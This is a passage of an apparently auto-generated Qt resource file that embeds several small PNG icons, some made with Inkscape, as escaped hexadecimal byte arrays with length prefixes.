a\\x8b\\x86\\xc1\\x67\\x1e\\xdd\\x1f\\x3b\\x46\\x1e\\xb6\\xb3\\xbc\\xc2\\xe1\\\n\\x85\\xf0\\x1b\\x8f\\x61\\x98\\xbc\\x1a\\x53\\x48\\x49\\x00\\x00\\x00\\x00\\x49\\\n\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x01\\x77\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x04\\x00\\x00\\x00\\x4a\\x7e\\xf5\\x73\\\n\\x00\\x00\\x00\\x04\\x67\\x41\\x4d\\x41\\x00\\x00\\xb1\\x8f\\x0b\\xfc\\x61\\x05\\\n\\x00\\x00\\x00\\x20\\x63\\x48\\x52\\x4d\\x00\\x00\\x7a\\x26\\x00\\x00\\x80\\x84\\\n\\x00\\x00\\xfa\\x00\\x00\\x00\\x80\\xe8\\x00\\x00\\x75\\x30\\x00\\x00\\xea\\x60\\\n\\x00\\x00\\x3a\\x98\\x00\\x00\\x17\\x70\\x9c\\xba\\x51\\x3c\\x00\\x00\\x00\\x02\\\n\\x62\\x4b\\x47\\x44\\x00\\x00\\xaa\\x8d\\x23\\x32\\x00\\x00\\x00\\x09\\x70\\x48\\\n\\x59\\x73\\x00\\x00\\x0d\\xd7\\x00\\x00\\x0d\\xd7\\x01\\x42\\x28\\x9b\\x78\\x00\\\n\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x06\\x1b\\x10\\x16\\x0b\\x8e\\xf8\\\n\\x88\\x96\\x00\\x00\\x00\\x45\\x49\\x44\\x41\\x54\\x38\\xcb\\xed\\xd1\\x39\\x0e\\\n\\x00\\x20\\x0c\\x03\\x41\\x3f\\x3d\\x3f\\x0f\\x05\\x12\\x28\\xca\\x65\\x68\\xc1\\\n\\xf5\\x6c\\x65\\xe0\\xef\\x7e\\x02\\x39\\xe3\\x0a\\xe5\\x93\\xc9\\xe9\\x64\\x73\\\n\\x2a\\xb1\\xbc\\x4d\\x3c\\x2f\\x93\\x98\\xa7\\x49\\xce\\xc3\\xa4\\xe6\\x2e\\xe9\\\n\\xb9\\x49\\x38\\xbe\\x12\\x9e\\x1f\\xbd\\xff\\xf6\\x06\\xd6\\x76\\x8f\\x7d\\x4e\\\n\\x2e\\x8c\\xfb\\x00\\x00\\x00\\x25\\x74\\x45\\x58\\x74\\x64\\x61\\x74\\x65\\x3a\\\n\\x63\\x72\\x65\\x61\\x74\\x65\\x00\\x32\\x30\\x31\\x37\\x2d\\x30\\x36\\x2d\\x32\\\n\\x37\\x54\\x31\\x36\\x3a\\x32\\x32\\x3a\\x31\\x31\\x2b\\x30\\x32\\x3a\\x30\\x30\\\n\\x0a\\x1e\\x96\\xd8\\x00\\x00\\x00\\x25\\x74\\x45\\x58\\x74\\x64\\x61\\x74\\x65\\\n\\x3a\\x6d\\x6f\\x64\\x69\\x66\\x79\\x00\\x32\\x30\\x31\\x37\\x2d\\x30\\x36\\x2d\\\n\\x32\\x37\\x54\\x31\\x36\\x3a\\x32\\x32\\x3a\\x31\\x31\\x2b\\x30\\x32\\x3a\\x30\\\n\\x30\\x7b\\x43\\x2e\\x64\\x00\\x00\\x00\\x19\\x74\\x45\\x58\\x74\\x53\\x6f\\x66\\\n\\x74\\x77\\x61\\x72\\x65\\x00\\x77\\x77\\x77\\x2e\\x69\\x6e\\x6b\\x73\\x63\\x61\\\n\\x70\\x65\\x2e\\x6f\\x72\\x67\\x9b\\xee\\x3c\\x1a\\x00\\x00\\x00\\x00\\x49\\x45\\\n\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x01\\x0b\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x1e\\x08\\x60\\x59\\x04\\x55\\x00\\x00\\x00\\xaa\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\x95\\xb1\\x0d\\xc2\\x30\\x14\\x44\\xdf\\xa5\\x0a\\x63\\x84\\x82\\\n\\x19\\xb2\\x03\\x2c\\xc0\\x14\\x74\\x29\\x58\\x20\\x03\\x31\\x04\\xec\\x80\\x12\\\n\\xc6\\x20\\xdd\\xd1\\xb8\\x35\\x31\\x26\\x16\\x42\\xca\\x97\\x7e\\x61\\xc9\\xd2\\\n\\xfb\\xf7\\xef\\x64\\xcb\\x36\\x25\\xab\\xa2\\x70\\xad\\x80\\x3f\\x00\\x48\\x6a\\\n\\x8b\\x01\\x24\\x9d\\x81\\xab\\xa4\\x7d\\x36\\xc1\\x76\\xb4\\x81\\x2d\\x30\\x01\\\n\\x03\\x50\\xbf\\xbb\\x1b\\xeb\\x6a\\x06\\x3e\\x02\\x7d\\x00\\x75\\x8b\\x2b\\x08\\\n\\x2a\\x36\\xc0\\x08\\x3c\\x81\\xe6\\x53\\x05\\x4a\\x79\\x2a\\x24\\x1d\\x80\\x4b\\\n\\x38\\xde\\x23\\x83\\xee\\x7e\\x12\\xd3\\xd4\\x15\\x0d\\xb9\\x2b\\x4a\\x51\\xd0\\\n\\x05\\x93\\x7b\\xdb\\x8f\\xa5\\x63\\xda\\x84\\xc9\\xcb\\xc4\\x14\\x38\\x02\\x35\\\n\\x70\\xb2\\x3d\\xe5\\x58\\x30\\x9b\\x22\\x49\\xad\\xed\\x5b\\xae\\xc7\\x5a\\x7f\\\n\\xb4\\x15\\xf0\\x75\\xbd\\x00\\xca\\x36\\x1c\\xb8\\x87\\x4a\\x18\\xc7\\x00\\x00\\\n\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x03\\x9a\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x00\\x06\\x62\\x4b\\x47\\x44\\x00\\xff\\x00\\xff\\x00\\xff\\xa0\\xbd\\\n\\xa7\\x93\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\\n\\x0b\\x13\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\\n\\xe1\\x0a\\x02\\x0e\\x14\\x09\\xac\\x99\\xf0\\x56\\x00\\x00\\x03\\x27\\x49\\x44\\\n\\x41\\x54\\x68\\xde\\xed\\x59\\xd1\\x71\\xa3\\x30\\x10\\x7d\\xc9\\xdc\\xbf\\xe8\\\n\\x00\\x52\\x01\\xa2\\x02\\x43\\x05\\x76\\x2a\\x40\\x54\\x60\\x52\\x01\\x29\\x81\\\n\\x54\\x00\\x1d\\x04\\x57\\x60\\x75\\x80\\x52\\x01\\xb8\\x02\\x2b\\x15\\xec\\x7d\\\n\\x04\\x18\\xe3\\xe4\\x2e\\x04\\x8c\\x70\\x66\\xbc\\x33\\xfa\\xb1\\xc6\\xf6\\x7b\\\n\\xda\\x5d\\xbd\\xd5\\x2e\\x70\\xb3\\xeb\\x32\\x0b\\x40\\x02\\xe0\\x08\\x80\\x0c\\\n\\x2e\\x7f\\x2c\\xe0\\xbb\\x33\\xf0\\x7b\\x00\\x1c\\x00\\x6c\\xdb\\x86\\xe3\\x38\\\n\\xb3\\x9f\\x98\\x10\\x02\\x51\\x14\\xdd\\x5d\\xe2\\xb7\\x9e\\x01\\x90\\xeb\\xba\\\n\\x54\\x55\\x15\\x2d\\x65\\xe3\\x63\\xc7\\xb2\\x08\\xc0\\x62\\xe0\\xe3\\x38\\xa6\\\n\\xfd\\x7e\\x4f\\x53\\x3c\\x40\\xb6\\x6d\\x2f\\x02\\x3e\\xcb\\x32\\x02\\x40\\x8c\\\n\\x31\\x6a\\x42\\x79\\x1c\\x81\\xd5\\x6a\\xb5\\x18\\x78\\x00\\x54\\x96\\xe5\\x34\\\n\\x0f\\x98\\x26\\xd0\\x00\\x26\\x00\\x94\\x65\\xd9\\xb4\\x1c\\x30\\x4d\\xa0\\x2c\\\n\\x4b\\x6a\\xf3\\xae\\x05\\x7f\\x42\\x80\\x5f\\x35\\x81\\xaa\\xaa\\x3a\\xf0\\xdb\\\n\\xed\\xb6\\xb7\\x27\\x84\\xa0\\x24\\x49\\x5a\\x22\\xa2\\xd1\\xa5\\x04\\xc0\\xea\\\n\\x2a\\x08\\x1c\\x8f\\x47\\xe2\\x9c\\x13\\x00\\x0a\\xc3\\xb0\\xb7\\xf7\\xfa\\xfa\\\n\\x4a\\x00\\x28\\x49\\x12\\x22\\x22\\x5a\\xad\\x56\\x3d\\xc1\\x73\\x1c\\x87\\xce\\\n\\xbd\\xf3\\xc7\\xa4\\xcc\\x6b\\xad\\x11\\x04\\x01\\x94\\x52\\x58\\xaf\\xd7\\xc8\\\n\\xf3\\xbc\\xb7\\xaf\\x94\\xfa\\x24\\x72\\xbe\\xff\\x21\\xd2\\x45\\x51\\xe0\\xed\\\n\\xed\\x0d\\x96\\x65\\x95\\x5a\\x6b\\x0f\\x80\\x32\\xee\\x81\\xcd\\x66\\x43\\xad\\\n\\x58\\x1e\\x8f\\xc7\\x4f\\xfb\\x4d\\xe8\\x74\\x1e\\x38\\xb7\\x30\\x0c\\x09\\x00\\\n\\xad\\xd7\\xeb\\x2e\\xd9\\xef\\x4d\\x9d\\x7e\\x14\\x45\\x28\\x8a\\x02\\xae\\xeb\\\n\\x42\\x4a\\x09\\xcb\\xfa\\xf9\\x75\\x9f\\xa6\\x29\\x00\\x60\\xb7\\xdb\\xc1\\x28\\\n\\x81\\x38\\x8e\\x91\\xe7\\x39\\x18\\x63\\x28\\x8a\\x62\\x14\\xf8\\xa6\\x5a\\x80\\\n\\xeb\\xba\\xbd\\xcf\\x06\\x13\\xa8\\xeb\\x7a\\xd4\\x9f\\xe6\\x79\\x8e\\x97\\x97\\\n\\x17\\x30\\xc6\\x20\\xa5\\x9c\\x5c\\x20\\x9e\\x93\\xbf\\x1f\\xea\\x7e\\xcf\\xf3\\\n\\x3e\\x25\\xdd\\x10\\xf0\\x51\\x14\\x01\\x00\\xa4\\x94\\xe0\\x9c\\x5f\\xdc\\xbb\\\n\\x83\\x08\\xb8\\xae\\x0b\\xad\\x35\\xa2\\x28\\x1a\\x4c\\x42\\x29\\xd5\\x81\\xcf\\\n\\xb2\\x6c\\x16\\xf0\\x83\\x09\\xc4\\x71\\x8c\\x2c\\xcb\\x3a\\x6f\\x3c\\x3d\\x3d\\\n\\x7d\\x0b\\x3e\\x08\\x82\\x0e\\xbc\\x10\\x62\\xb6\\xfc\\x1a\\x9c\\x03\\x42\\x08\\\n\\xec\\xf7\\x7b\\x30\\xc6\\x90\\xa6\\x69\\x77\\xba\\x5f\\xe5\\x4a\\x10\\x04\\xd0\\\n\\x5a\\x63\\xbb\\xdd\\xce\\x0a\\xfe\\xc7\\xb7\\x90\\xef\\xfb\\x90\\x52\\x82\\x31\\\n\\x86\\x3c\\xcf\\xe1\\x79\\x1e\\xb4\\xd6\\x3d\\xa1\\x7a\\x7c\\x7c\\x84\\xd6\\x1a\\\n\\x61\\x18\\x76\\xd7\\xde\\xd5\\x10\\x00\\x00\\xce\\x39\\x94\\x52\\x70\\x5d\\xb7\\\n\\x0b\\x15\\xad\\xf5\\xb7\\x2a\\x3b\\x97\\x8d\\x2a\\x25\\x1c\\xc7\\x81\\x94\\x12\\\n\\xbe\\xef\\x43\\x29\\x85\\x87\\x87\\x87\\x1e\\x31\\x53\\xe0\\x27\\x09\\x99\\x65\\\n\\x59\\x90\\x52\\x22\\x0c\\x43\\x68\\xad\\x21\\xa5\\x9c\\xa4\\xb2\\x46\\x3d\\x70\\\n\\x4a\\xa2\\x3d\\xed\\xa2\\x28\\x26\\xa9\\xec\\x22\\x04\\x4e\\x05\\xab\\xae\\x6b\\\n\\x23\\x6d\\x98\\x8b\\x85\\xd0\\x57\\x79\\xb1\\x84\\xdd\\xe3\\x97\\xdb\\x8d\\xc0\\\n\\x8d\\xc0\\x25\\x09\\xbc\\xbf\\xbf\\xff\\x6e\\x02\\x4a\\xa9\\x5e\\x6d\\x63\\xda\\\n\\xda\\x47\\xfd\\xa8\\xd2\\xbb\\x79\\x28\\x53\\x1c\\xc7\\x8b\\xf4\\x47\\xdb\\x2e\\\n\\x1d\\x63\\xec\\xcb\\x07\\x7f\\x6b\\x27\\xad\\x96\\xbe\\x90\\xed\\x76\\x3b\\x8f\\\n\\x31\\x56\\xa6\\x69\\x0a\\x29\\x25\\x36\\x9b\\x8d\\xd1\\x93\\x2f\\x8a\\xa2\\x7b\\\n\\x7b\\x4c\\x51\\x73\\x6e\\xdb\\xb6\\xc9\\xc9\\x4c\\xb7\\x18\\x63\\xff\\x6c\\xa7\\\n\\x0c\\xf2\\x40\\x7b\\x18\\x87\\xc3\\xe1\\x0e\\x1f\\x23\\x1f\\xff\\x9c\\x5d\\x92\\\n\\x24\\xc9\\x1c\\x1e\\xe0\\x9c\\xc3\\xf7\\xfd\\xf9\\xeb\\x28\\xba\\x02\\x3b\\xf7\\\n\\xc0\\x4f\\x74\\x40\\x04\\x41\\x60\\xb4\\xd6\\xbf\\xb4\\x90\\x39\\x52\\xca\\xd1\\\n\\xfd\\xa1\\x9b\\x12\\x37\\x76\\x38\\x1c\\x46\\x7f\\xd7\\x07\\x40\\x9c\\xf3\\xc5\\\n\\xe2\\xbf\\xaa\\x2a\\x42\\x33\\xcb\\x1b\\xc5\\xa0\\xbd\\x62\\x85\\x10\\xff\\x15\\\n\\x9b\\xb9\\xc0\\xb7\\x73\\x05\\x7c\\x8c\\x84\\x01\\xf4\\x07\\xdd\\x83\\x6e\\x3c\\\n\\xc6\\x58\\xd9\\xd6\\x4c\\x9c\\x73\\x23\\x4f\\xc8\\xba\\xae\\x4f\\x73\\xef\\xad\\\n\\x89\\x86\\xd1\\x35\\x0f\\x6f\\xcb\\x0e\\x93\\xab\\xf1\\xfe\\x33\\x26\\x8c\\x61\\\n\\x6f\\x36\\x87\\xfd\\x05\\xe5\\x45\\x08\\x75\\x12\\xd4\\x41\\x1f\\x00\\x00\\x00\\\n\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x04\\x32\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x00\\x06\\x62\\x4b\\x47\\x44\\x00\\xff\\x00\\xff\\x00\\xff\\xa0\\xbd\\\n\\xa7\\x93\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0d\\xd7\\x00\\x00\\\n\\x0d\\xd7\\x01\\x42\\x28\\x9b\\x78\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\\n\\xe1\\x0b\\x1b\\x0f\\x36\\x2c\\x51\\x9c\\x39\\xa3\\x00\\x00\\x03\\xbf\\x49\\x44\\\n\\x41\\x54\\x68\\xde\\xed\\x59\\x5d\\x68\\x1c\\x55\\x18\\x3d\\x67\\xc6\\x48\\x9a\\\n\\xcc\\x6e\\xa0\\x92\\xa2\\x58\\xc8\\x24\\x06\\x8c\\x48\\xb1\\xa8\\x4d\\xf1\\xa1\\\n\\x22\\x1b\\xff\\x10\\xc9\\x8f\\xd6\\x52\\x88\\xa0\\x16\\xa1\\x6c\\xb6\\xda\\xcd\\\n\\x8b\\x45\\x9f\\xf2\\xa4\\x8f\\x89\\x92\\x9d\\xa5\\x10\\x8d\\x3e\\x69\\xc5\\xe2\\\n\\xa6\\x0f\\x25\\xd6\\xba\\x6a\\xcd\\x4b\\x1b\\x91\\x0d\\x45\\x10\\x49\\x36\\x1b\\\n\\x41\\x51\\x17\\x5b\\x36\\x3b\\xdb\\x34\\x69\\x77\\x3e\\x1f\\x64\\xe9\\x1a\\xd0\\\n\\x64\\x67\\xee\\xec\\xee\\xc3\\x9e\\xd7\\xb9\\xf7\\xce\\x39\\xdc\\x6f\\xee\\x9c\\\n\\x73\\x3f\\xa0\\x81\\x06\\x1a\\xf0\\x0d\\xa6\\x65\\x47\\x4d\\xcb\\x8e\\xfa\\xf9\\\n\\x0e\\xcd\\xaf\\x85\\xbb\\x62\\xf6\\x28\\x21\\xe3\\x84\\x8c\\xfb\\x29\\x82\\xbe\\\n\\x90\\x8f\\xaf\\x1e\\x11\\xe1\\x54\\xd9\\xfa\\x42\\xca\\xab\\xe9\\x70\\xf0\\x83\\\n\\xba\\x17\\xd0\\x69\\xe5\\x5f\\x00\\xf0\\x31\\x00\\x7d\\xd3\\xa3\\x22\\x04\\x87\\\n\\x97\\x23\\x81\\xcf\\xea\\x56\\x80\\x19\\xb3\\x9f\\x26\\x65\\x06\\xc0\\xed\\xff\\\n\\x31\\x64\\x43\\x84\\x03\\x99\\x88\\x31\\x5b\\x77\\x02\\x3a\\xad\\xd5\\x03\\x00\\\n\\x67\\x01\\xb4\\x6c\\x31\\xf4\\x1a\\x45\\x9e\\x4a\\x47\\x82\\x73\\x75\\x23\\xa0\\\n\\x63\\xb2\\xf0\\xa0\\xa6\\x39\\x49\\x00\\x6d\\xdb\\x9c\\x92\\x73\\x1c\\x2d\\xb4\\\n\\x72\\xac\\xf5\\x87\\x9a\\x0b\\xe8\\x88\\xe5\\xef\\xd3\\x88\\x6f\\x01\\xb4\\x57\\\n\\x38\\x35\\x2b\\xba\\x3c\\x9a\\x39\\x1a\\xfc\\xa9\\x66\\xc7\\xa8\\x19\\xbf\\x6a\\\n\\x6a\\x1a\\xce\\xb9\\x20\\x0f\\x00\\xed\\x74\\xf8\\xa5\\x19\\xbf\\x6a\\xd6\\x64\\\n\\x07\\x3a\\x4e\\x16\\xee\\xd2\\x8a\\xce\\x05\\x00\\xdd\\x1e\\x37\\x71\\x51\\x84\\\n\\x07\\x32\\x11\\xe3\\xf7\\xaa\\xed\\xc0\\xee\\xa9\\xdc\\x4e\\xcd\\x71\\xbe\\x50\\\n\\x40\\x1e\\x00\\xba\\xa9\\xc9\\xb9\\xdd\\x53\\xb9\\x9d\\x55\\x11\\x70\\xef\\xfb\\\n\\xd9\\x40\\xd3\\x86\\x7e\\x16\\x82\\x3d\\xca\\xce\\x5f\\xc1\\x9e\\xa6\\x0d\\xfd\\\n\\xec\\xfd\\xb1\\x3f\\x0d\\x5f\\x05\\x98\\xd3\\xd2\\xbc\\xbe\\xde\\x9c\\x00\\x64\\\n\\xbf\\xfa\\xff\\xb7\\xec\\x2f\\x70\\xc7\\x8c\\x39\\x2d\\xcd\\xbe\\x08\\x78\\xe8\\\n\\xa4\\x34\\x71\\xcd\\x3e\\x45\\x20\\xe4\\xa3\\xaf\\x09\\x71\\xcd\\x3e\\xf5\\xd8\\\n\\x98\\xdc\\xa6\\x56\\xc0\\x98\\x68\\x57\\x6e\\xda\\xd3\\x00\\xfa\\xab\\x60\\x62\\\n\\xfb\\x57\\xda\\xed\\x0f\\x31\\x26\\x9a\\x1a\\x01\\x22\\x34\\x77\\xd9\\x93\\x20\\\n\\x86\\xab\\xe6\\xc3\\x89\\x61\\x73\\x97\\x3d\\xa9\\x44\\x80\\x69\\x15\\xde\\x26\\\n\\x10\\xae\\x76\\x96\\x20\\x10\\x36\\x63\\xf6\\x3b\\x8d\\x54\\xd5\\x40\\x03\\x0d\\\n\\xd4\\x37\\xb6\\x74\\xa3\\x5d\\x56\\x7e\\x5c\\x80\\x68\\x8d\\xc8\\x4d\\xa4\\x47\\\n\\x02\\xa3\\x9e\\xed\\x74\\x35\\x44\\x0c\\x64\\x66\\xf1\\x70\\x76\\x01\\x3d\\xb9\\\n\\x45\\xf4\\xe4\\xd2\\xa5\\xbf\\x68\\x0a\\x82\\x14\\x45\\x12\\xad\\x5f\\x7f\\x3f\\\n\\xe3\\x3e\\x0f\\x88\\xd0\\xb4\\x0a\\x53\\xa4\\x1c\\x51\\x4d\\x3c\\xf4\\xeb\\x1c\\\n\\xde\\x58\\xb0\\x70\\xf7\\xda\\x1f\\x5b\\x39\\xd6\\x0c\\x89\\xd1\\xd6\\xaf\\x2e\\\n\\x25\\xdc\\x05\\x9a\\x4f\\x45\\xef\\xfc\\xcb\\xfe\\x04\\x82\\x83\\xaa\\xc8\\x9f\\\n\\x48\\x4d\\xe2\\xc5\\xa5\\xcf\\x2b\\x34\\xad\\x32\\x61\\x24\\xe7\\x47\\x2b\\xb7\\\n\\xd3\\x87\\x58\\x6c\\xb9\\xc3\\x18\\x06\\x64\\xb6\\x66\\xe4\\x01\\x80\\x8c\\xda\\\n\\xa1\\x7d\\x13\\xae\\xf2\\xc0\\x8f\\x87\\xb8\\xb1\\xae\\x07\\x9e\\x07\\x30\\xe7\\\n\\xb5\\x6c\\x5c\\x91\\xbf\\x25\\xe2\\x78\\xa1\\xaf\\x77\\xd0\\x55\\x22\\xfb\\xed\\\n\\x28\\xaf\\x51\\xbf\\xf1\\x2c\\x09\\xd7\\x57\\x22\\x27\\x16\\x62\\xde\\xe3\\x8f\\\n\\x60\\xdc\\x53\\xa8\\xef\\x7e\\x2f\\xdf\\x5e\\xd4\\x71\\x01\\x44\\x4f\\x25\\xf3\\\n\\x7e\\xfe\\xa5\\x13\\xeb\\xf3\\x5d\\xaa\\x8e\\xd9\\x21\\xd7\\xd7\\x2a\\x8b\\xaf\\\n\\x07\\xb2\\x7a\\x51\\x7f\\x02\\x60\\xa6\\x92\\x79\\xc5\\x6c\\x40\\x61\\x94\\x96\\\n\\x41\\xcf\\x17\\x5b\\xf7\\xc4\\x72\\xdd\\x0e\\xb5\\xef\\x00\\xdc\\xb9\\xad\\xef\\\n\\xe8\\xfc\\x23\\x70\\x72\\xb7\\x6e\\x1f\\x5b\\xcf\\x5f\\xac\\xe8\\x7d\\x85\\xc7\\\n\\xcb\\xe3\\xb8\\xa4\\x3c\\xf7\\x07\\x96\\x22\\x6d\\x8b\\x2c\\xf2\\x49\\x00\\x57\\\n\\xb6\\x33\\xbe\\x9c\\xbc\\x82\\x22\\xda\\xab\\xa4\\xc1\\x91\\x7e\\xcd\\xb8\\x2c\\\n\\x8e\\xf3\\x0c\\x00\\xbb\\xda\\x76\\x43\\x59\\x87\\x26\\x73\\xac\\xed\\xa2\\x46\\\n\\x0c\\x00\\xb8\\xfe\\x3f\\xc3\\xae\\xdb\\x7a\\xcb\\x92\\xc2\\x8f\\x60\\xc1\\x87\\\n\\x06\\xc7\\x6a\\x3f\\xc0\\xd3\\x00\\x36\\x5f\\x8d\\xdc\\x00\\xe4\\xe0\\xe5\\xd3\\\n\\x7d\\xcf\\x01\\x7c\\x49\\x91\\x82\\x8f\\x94\\xf7\\xc8\\x96\\x47\\x82\\x67\\x48\\\n\\xbe\\x0c\\xc0\\x29\\x2f\\x7d\\x92\\xaf\\x2c\\x8f\\x04\\xcf\\x40\\xf0\\x8d\\x3a\\\n\\xb7\\xca\\x04\\xfd\\xaa\\xcd\\xae\\x78\\x3e\\x2c\\x02\\x0b\\x80\\x90\\x88\\xa4\\\n\\xc3\\x81\\x78\\xe9\\x99\\x1d\\xea\\xcd\\x80\\xe8\\xf0\\x58\\x3e\\x2b\\x46\\xf2\\\n\\x92\\xe9\\x5b\\x97\\x32\\x1d\\x0e\\xc4\\x49\\x79\\x93\\x94\\xb7\\xca\\xc9\\xff\\\n\\xe3\\x04\\xbc\\x5b\\xf3\\xd2\\x1a\\x44\\x8d\\x60\\x87\\xf6\\x4d\\x80\\x3c\\xee\\\n\\xd2\\x47\\xbc\\x6b\\x24\\xe7\\x6b\\x2b\\xc0\\xb5\\x88\\x32\\xf2\\x4a\\x8f\\x51\\\n\\x37\\x30\\x92\\xf3\\x51\\x02\\x43\\x10\\xac\\x6c\\xa7\\xe6\\x09\\x0c\\x95\\x93\\\n\\xaf\\xf9\\x0e\\xfc\\xcb\\x22\\xf4\\xf5\\x0e\\x0a\\x64\\x10\\xc2\\xbd\\x20\\x1e\\\n\\x28\\x9d\\xf3\\xa0\\xa4\\x08\\x26\\x36\\x27\\xb1\\x12\\xfe\\x06\\xc0\\x3c\\x58\\\n\\xf9\\xb2\\x27\\x03\\x9f\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\\n\\x82\\\n\\x00\\x00\\x01\\x29\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x23\\x11\\x6e\\xda\\xe4\\x2b\\x00\\x00\\x00\\xc8\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xd5\\x96\\xc1\\x0d\\x02\\x21\\x10\\x45\\xdf\\x98\\xbd\\x7a\\x97\\x1a\\\n\\x2c\\x49\\x0b\\xb0\\x24\\x1b\\xd0\\xf3\\xae\\xbd\\x58\\x83\\x37\\x5b\\x18\\x0f\\\n\\x62\\x62\\x36\\x02\\x9f\\x5d\\xd9\\x28\\xc9\\x24\\x40\\x80\\x99\\xff\\x32\\x0c\\\n\\x98\\xbb\\xd3\\xb2\\xad\\x68\\xdc\\x3a\\x75\\xa1\\x99\\x19\\x70\\x88\\xc3\\xa3\\\n\\xab\\xd2\\xdd\\x5d\\x32\\x60\\x0f\\x78\\xb4\\x9d\\xba\\xcf\\x94\\x40\\xcc\\x2c\\\n\\x00\\xd7\\xd1\\xf4\\xd6\\xdd\\x6f\\xb3\\x15\\x00\\x06\\x5c\\x5e\\x91\\xbf\\x29\\\n\\x19\\xe0\\x19\\x60\\x76\\x7f\\x05\\x9a\\x3e\\x3a\\xb3\\x78\\xb8\\x84\\xaa\\x74\\\n\\x78\\x00\\xee\\xd1\\x36\\x89\\xf9\\x30\\xc9\\xc1\\x18\\x4d\\x46\\x59\\x16\\x95\\\n\\x8c\\x26\\x11\\x40\\x11\\x95\\x82\\x26\\x88\\x08\\x83\\xe4\\xa0\\x84\\xa6\\x16\\\n\\x55\\xaa\\x54\\x7c\\xaf\\x40\\x2d\\x8e\\x48\\x95\\xae\\xa2\\x2c\\xa5\\xe9\\x20\\\n\\xa4\\x69\\x3f\\x29\\x4d\\x9b\\x5f\\xb4\\x45\\x4a\\xc5\\x27\\x54\\x2a\\x9a\\xdf\\\n\\x29\\xd7\\x73\\x1f\\x9c\\xae\\xe2\\xca\\x9c\\x80\\x75\\xec\\x9f\\xe5\\xa7\\xf6\\\n\\xef\\x7f\\x15\\x0f\\xd3\\x0d\\x3d\\x5b\\x71\\x91\\xde\\xcf\\x00\\x00\\x00\\x00\\\n\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x06\\xb2\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x00\\x04\\x73\\x42\\x49\\x54\\x08\\x08\\x08\\x08\\x7c\\x08\\x64\\x88\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0d\\xd7\\x00\\x00\\x0d\\xd7\\\n\\x01\\x42\\x28\\x9b\\x78\\x00\\x00\\x00\\x19\\x74\\x45\\x58\\x74\\x53\\x6f\\x66\\\n\\x74\\x77\\x61\\x72\\x65\\x00\\x77\\x77\\x77\\x2e\\x69\\x6e\\x6b\\x73\\x63\\x61\\\n\\x70\\x65\\x2e\\x6f\\x72\\x67\\x9b\\xee\\x3c\\x1a\\x00\\x00\\x06\\x2f\\x49\\x44\\\n\\x41\\x54\\x68\\x81\\xed\\x98\\x5d\\x6c\\x1c\\x67\\x15\\x86\\x9f\\x33\\xb3\\xeb\\\n\\x8d\\x1d\\x2e\\x88\\x72\\x01\\x05\\x25\\x28\\xad\\x68\\x85\\x14\\x15\\x24\\x44\\\n\\xda\\xfc\\xad\\x63\\xb7\\x69\\x8b\\x5a\\x6a\\x37\\xc5\\xa9\\x22\\xe7\\x67\\x97\\\n\\x00\\x4d\\x83\\x28\\x14\\x7b\\x13\\x9a\\xda\\x66\\xc9\\x3a\\x51\\xe4\\x4d\\x1b\\\n\\x29\\x60\\xa1\\xa6\\x4a\\xbc\\x75\\x44\\x05\\x26\\x69\\xbc\\x2d\\x22\\x0d\\x